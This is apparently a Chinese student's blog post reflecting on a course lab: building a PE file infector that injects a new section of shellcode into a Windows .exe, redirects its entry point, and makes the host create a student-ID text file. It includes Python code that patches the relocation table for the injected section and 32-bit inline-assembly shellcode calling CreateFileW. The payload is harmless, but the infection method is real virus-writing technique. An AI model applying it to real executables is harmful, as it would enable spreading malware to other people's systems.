做的太差了,反思反思
前情提要
要求:编写一个PE文件传染程序infect.exe,功能要求如下:
- infect.exe运行后,向同目录下的某个Windows .exe程序(下称目标程序,建议找一个免安装的绿色程序,以方便测试),植入“病毒载荷”代码.
- infect.exe不能重复传染目标程序.
- 目标程序被植入“病毒载荷”后,具备如下行为:一旦执行,就会向其所在目录写入一个txt文件,文件名为:学号-姓名.txt,文件内容任意。
明显的,整个程序的思路之一就是建立新节,新节中放入shellcode,修改原程序入口并让shellcode尾部跳回原入口,而在shellcode中需要进行的操作则是使用kernel32.dll中的CreateFileW函数创建指定文件,然后关闭文件句柄。
接下来需要反思的主要是shellcode这部分的内容
错误的方法
使用c语言写一个以下函数,其中宽字符数组w中的内容是指定的文件名,然后简单地调用了一个CreateFileW
void payload() {
WCHAR w[64] = {50, 48, 49, 57, 0};
LPCWSTR filename = w;
CreateFileW(filename, (GENERIC_READ | GENERIC_WRITE), 7, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
}
编译完成后,将exe放入IDA中定位该函数,将该部分以十六进制字节的形式导出,复制到shellcode植入的程序中。重点关注调用CreateFileW时偏移的位置,在植入程序中查询目标程序的导入表并找到所导入的CreateFileW的位置,算出新的偏移并覆盖之。听起来似乎没问题
错在哪了?
首先是一个最基本的,忘记关所创建文件的句柄了
在进行该实验时,这种方法没有出现问题,原因是实验中使用的被感染程序是我自己用c写的一个很简单的程序。但是当尝试使用我们的感染程序去感染一些市面上常见的PE文件时,就完全行不通了。这是由于在这些PE中,其所链接的库和函数在装入内存时发生了重定位,导致其实际地址与其静态地址不一致
为什么要PE重定位: 当链接器生成一个PE文件时,它假设这个文件执行时会被装载到默认的基地址处,并且把code和data的相关地址都写入PE文件 中。如果装入时按默认的值作为基地址装入,则不需要重定位。但如果可执行文件被装载到虚拟内存的另一个地址,链接器所登记的那个地址就是错误的,这时就需要用重定位表来调整。在PE文件中,它往往单独分为一块,用”.reloc”表示。
在装入内存时,每个EXE都会被分配一个独立的内存空间,而如果其链接了多个DLL。由于多个DLL文件全部使用宿主EXE文件的地址空间,不能保证装入地址没有被其他DLL使用,故此时便需要重定位机制来避免地址发生冲突。当加载器加载程序时,如果加载器为某PE分配的基址与其自身默认记录的ImageBase不相同,那么该程序文件加载完毕后就需要修正重定位表中的所有需要修正的地址。如果加载器分配的基址和该程序文件中记录默认的ImageBase相同,则不需要修正,重定位表对于该DLL也是没有效用的。
实际检验,我们将不同的PE文件拖入010editor进行观察,我自己写的exe中只链接了一个DLL,即kernel32,自然不会用到重定位表,重定位表中的block中所存入的数值也都作占位使用,理由是其高4位全为A,根据规则高4位为3时才会进行重定位
此处应有图,然而我比较懒
而观察另一个较为复杂的PE文件,其链接了十多个DLL,重定位表大小为69090h,足见我这次实验有多失败
解决方案
理论上来说,我们可以在重定位表后添加一个相应结构体,来告知加载器我们的shellcode中也存在一个位置需要重定位,不过也有另一种方法,可以在内存中动态获取CreateFileW的地址。我们在这里选择前一种方法
首先需要在感染程序中添加一段用于修改重定位表的内容:
reloc_base_size = 10
pe.OPTIONAL_HEADER.DATA_DIRECTORY[5].Size += reloc_base_size
for i in pe.sections:
if i.Name == b".reloc\x00\x00":
i.Misc += 10
reloc_table_posi = i.PointerToRawData
reloc_base_posi = reloc_table_posi + pe.OPTIONAL_HEADER.DATA_DIRECTORY[5].Size - reloc_base_size
pe_content = bytearray(pe.__data__)
pe_content[reloc_base_posi: reloc_base_posi+4] = new_section.VirtualAddress.to_bytes(4, byteorder='little', signed=False)
pe_content[reloc_base_posi+4: reloc_base_posi+8] = reloc_base_size.to_bytes(4, byteorder='little', signed=False)
des_func_reloc_offset = (len(payload) - 4) | 0x3000
pe_content[reloc_base_posi+8: reloc_base_posi+10] = des_func_reloc_offset.to_bytes(2, byteorder='little', signed=False)
最开始就需要明确的是,我们的添加的新节由于是直接加在原文件末尾,故VA与其他代码部分相差较远,需要自己制作一个结构体添加在重定位表末尾,一个结构体由起始VA,块大小和表项组成,我们表项中只有一处需要修改,故为2字节,加上起始VA和块大小所占字节,4+4+2=10,所以该段代码开头设置重定位表增大的大小为10
然后是在OPTIONAL_HEADER的数据目录中修改重定位表的大小,该项信息固定在第六个。然后在节表头中修改.reloc的物理大小,顺便记录下该节文件中起始位置,这样就可以计算出重定位表的末尾位置,然后依次添加新节起始VA,块大小和表项,表项中高四位固定为3,表示该表项为启用状态而非因对齐而占位使用,低12位为根据shellcode计算出来的CreateFileW偏移的位置
在测试该部分的过程中又发现了一些我原来代码中shellcode编写的一些问题。首先是原shellcode是使用c写完编译后放入ida拖出来的,是64位的指令,但市面上的大部分PE是32位的。64位指令和32位指令在传参等方面具有很大区别,64位指令由于寄存器的增多传参基本使用寄存器,而32位的则需要将参数压入栈中。
还有一个问题就是原来的shellcode中我直接将需要创建的文件名声明为一个数组,这样的缺点在于编译时编译器会将该数组的位置在栈中固定,也就是写死在指令中,这样的话将其直接复制到新的程序中就会导致栈中的数组内容被覆盖。因此比较合适的方法是将内容直接压栈
基于以上两点,我编写了新的shellcode,并使用VS将其编译为32位程序:
void payload() {
__asm {
push 00000000h
push 00740078h
push 0074002eh
push 006e0061h
push 00750071h
push 0067006eh
push 006f0068h
push 00750078h
push 002d0038h
push 00310031h
push 00300038h
push 00310032h
push 00300033h
push 00390031h
push 00300032h
mov eax, esp
push 0
push 80h
push 1
push 0
push 0
push 0c0000000h
push eax
call dword ptr ds:CreateFileW
}
}
很不严谨地没有关闭文件句柄,也没有在call完之后平衡堆栈,不过该部分shellcode还是可以正常运行的
最后
下次尝试一下动态定位CreateFileW,下次一定